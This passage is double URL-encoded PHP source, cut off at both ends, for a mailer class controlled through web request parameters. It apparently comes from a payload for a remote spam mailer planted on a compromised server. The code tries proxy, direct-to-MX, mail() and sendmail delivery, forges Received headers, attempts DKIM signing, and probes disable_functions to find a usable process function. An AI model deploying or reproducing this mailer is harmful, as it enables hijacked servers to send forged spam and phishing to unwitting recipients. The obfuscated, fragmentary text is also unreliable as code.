2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Aproxy%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522force%2522%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2522%2524headers_fd%255Cr%255Cn%255Cr%255Cn%2524body%255Cr%255Cn.%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_data%2520%253D%2520%2524this-%253Etry_sign_dkim%2528%2524headers_fd%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524dkim_data%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524dkim_data%2520.%2520%2524this-%253Eeol%2520.%2520%2522.%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527smh%2527%255D%252C%2520%2524_REQUEST%255B%2527smp%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524host%2520%253D%2520%2524_REQUEST%255B%2527smh%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524port%2520%253D%2520%2528int%2529%2524_REQUEST%255B%2527smp%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enc%2520%253D%2520null%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524port%2520%253D%253D%2520465%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524enc%2520%253D%2520%2527ssl%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2524host%252C%2522port%2522%253D%253E%2524port%252C%2522enc%2522%253D%253E%2524enc%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_list%2520%253D%2520%2524this-%253Eget_mx_records%2528%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522localhost%2522%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524mx_list%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2524mx_list%255B0%255D%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522localhost%2522%252C%2522port%2522%253D%253E465%252C%2522enc%2522%253D%253E%2522ssl%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522localhost%2522%252C%2522port%2522%253D%253E587%252C%2522enc%2522%253D%253E%2522tls%2522%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522mail.%2522.%2524domain%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524smtp_list%255B%255D%2520%253D%2520array%2528%2522host%2522%253D%253E%2522smtp.%2522.%2524domain%252C%2522port%2522%253D%253E25%252C%2522enc%2522%253D%253Enull%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524smtp_list%2520as%2520%2524srv%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524srv%255B%2527host%2527%255D%252C%2520%2524srv%255B%2527port%2527%255D%252C%2520%2524srv%255B%2527enc%2527%255D%252C%2520%2524srv%255B%2527host%2527%255D%2520%253D%253D%2520%2527localhost%2527%2520%253F%25203%2520%253A%25205%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esmtp_helo_and_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Aforce%252A%2527.%2524this-%253Eeol.%2527%252Adata%253A%2527.%2524srv%255B%2527host%2527%255D.%2527%253A%2527.%2524srv%255B%2527port%2527%255D.%2527%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522direct%2522%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524do%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524usesock%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527wc%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528array%2528%2527gmail.com%2527%252C%2520%2527mailgun.org%2527%2529%2520as%2520%2524k%2520%253D%253E%2520%2524host%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_list%2520%253D%2520%2524this-%253Eget_mx_records%2528%2524host%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528empty%2528%2524mx_list%2529%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520switch%2520%2528%2524k%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520case%25200%253A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524mx_list%255B0%255D%252C%252025%252C%2520null%252C%25202%252C%2520true%252C%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520case%25201%253A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524usesock%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524mx_list%255B0%255D%252C%252025%252C%2520null%252C%25202%252C%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524do%2520%253D%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524do%2529%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524received_hdr%2520%253D%2520%2524this-%253Ebuild_received_header%2528%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524received_hdr.%2522%2524headers_fd%255Cr%255Cn%255Cr%255Cn%2524body%255Cr%255Cn.%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_data%2520%253D%2520%2524this-%253Etry_sign_dkim%2528%2524headers_fd%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%252C%2520true%252C%2520%2524received_hdr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524dkim_data%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524dkim_data%2520.%2520%2524this-%253Eeol%2520.%2520%2522.%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524parts%2520%253D%2520explode%2528%2527%2540%2527%252C%2520%2524to%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528count%2528%2524parts%2529%2520%253D%253D%25202%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rcpt_domain%2520%253D%2520strtolower%2528trim%2528%2524parts%255B1%255D%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rcpt_domain%2520%253D%2520preg_replace%2528%2527/%255Ewww%255C./i%2527%252C%2520%2527%2527%252C%2520%2524rcpt_domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524mx_records%2520%2520%253D%2520%2524this-%253Eget_mx_records%2528%2524rcpt_domain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524mx_records%2520as%2520%2524mx_host%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sock%2520%253D%2520%2524this-%253Esmtp_connect%2528%2524mx_host%252C%252025%252C%2520null%252C%252010%252C%2520%2524usesock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sock%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Esmtp_helo_and_send%2528%2524sock%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524data%252C%2520%2524domain%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fclose%2528%2524sock%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Adirect%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524m%2520%253D%253D%253D%2520%2522mail%2522%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540mail%2528%2524to%252C%2520%2524subject%252C%2520%2524body%252C%2520%2524headers%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Amail%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528isset%2528%2524_REQUEST%255B%2527usm%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524this-%253Efallback_sendmail%2528%2524headers_fd%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amethod%253Asendmail%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520fallback_sendmail%2528%2524headers%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524selector%2520%253D%2520%2527default%2527%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sendmail_paths%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/sbin/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/bin/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/lib/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/sbin/sendmail%2527%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2527/usr/local/bin/sendmail%2527%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524valid_sendmail_path%2520%253D%2520null%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524sendmail_paths%2520as%2520%2524path%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2540file_exists%2528%2524path%2529%2520%2526%2526%2520%2540is_executable%2528%2524path%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524valid_sendmail_path%2520%253D%2520%2524path%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524valid_sendmail_path%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524command_bm%2520%253D%2520escapeshellcmd%2528%2524valid_sendmail_path%2529%2520.%2520%2522%2520-bm%2520-t%2520-i%2520-f%2520%2522%2520.%2520escapeshellarg%2528%2524mail_from%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524command_t%2520%2520%253D%2520escapeshellcmd%2528%2524valid_sendmail_path%2529%2520.%2520%2522%2520-t%2520-i%2520-f%2520%2522%2520.%2520escapeshellarg%2528%2524mail_from%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524disable_functions%2520%2520%253D%2520%2540ini_get%2528%2527disable_functions%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524popen_available%2520%2520%2520%2520%253D%2520function_exists%2528%2527popen%2527%2529%2520%2526%2526%2520%2528%2540stripos%2528%2524disable_functions%252C%2520%2527popen%2527%2529%2520%253D%253D%253D%2520false%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524proc_open_available%2520%253D%2520function_exists%2528%2527proc_open%2527%2529%2520%2526%2526%2520%2528%2540stripos%2528%2524disable_functions%252C%2520%2527proc_open%2527%2529%2520%253D%253D%253D%2520false%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%253D%2520%2524headers%2520.%2520%2524this-%253Eeol%2520.%2520%2524this-%253Eeol%2520.%2520%2524body%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ret_bm%2520%253D%2520%2524this-%253Esend_using_sendmail%2528%2524command_bm%252C%2520%2524data%252C%2520%2524popen_available%252C%2520%2524proc_open_available%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524ret_bm%2520%253D%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524dkim_data%2520%253D%2520%2524this-%253Esign_email_with_dkim%2528%2524headers%252C%2520%2524body%252C%2520%2524mail_from%252C%2520%2524to%252C%2520%2524domain%252C%2520%2524selector%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524dkim_data%2520%2521%253D%253D%2520false%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524final_data%2520%253D%2520%2524dkim_data%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524final_data%2520%253D%2520%2524data%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524ret%2520%253D%2520%2524this-%253Esend_using_sendmail%2528%2524command_t%252C%2520%2524final_data%252C%2520%2524popen_available%252C%2520%2524proc_open_available%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524ret%2520%2521%253D%253D%25200%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520false%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520true%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520send_using_sendmail%2528%2524command%252C%2520%2524message%252C%2520%2524popen_available%252C%2520%2524proc_open_available%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524popen_available%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524h%2520%253D%2520%2540popen%2528%2524command%252C%2520%2527w%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524h%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%25201%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540fwrite%2528%2524h%252C%2520%2524message%2520.%2520%2524this-%253Eeol%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524code%2520%253D%2520%2540pclose%2528%2524h%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524code%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528%2524proc_open_available%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524desc%2520%253D%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%25200%2520%253D%253E%2520array%2528%2522pipe%2522%252C%2520%2522r%2522%2529%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%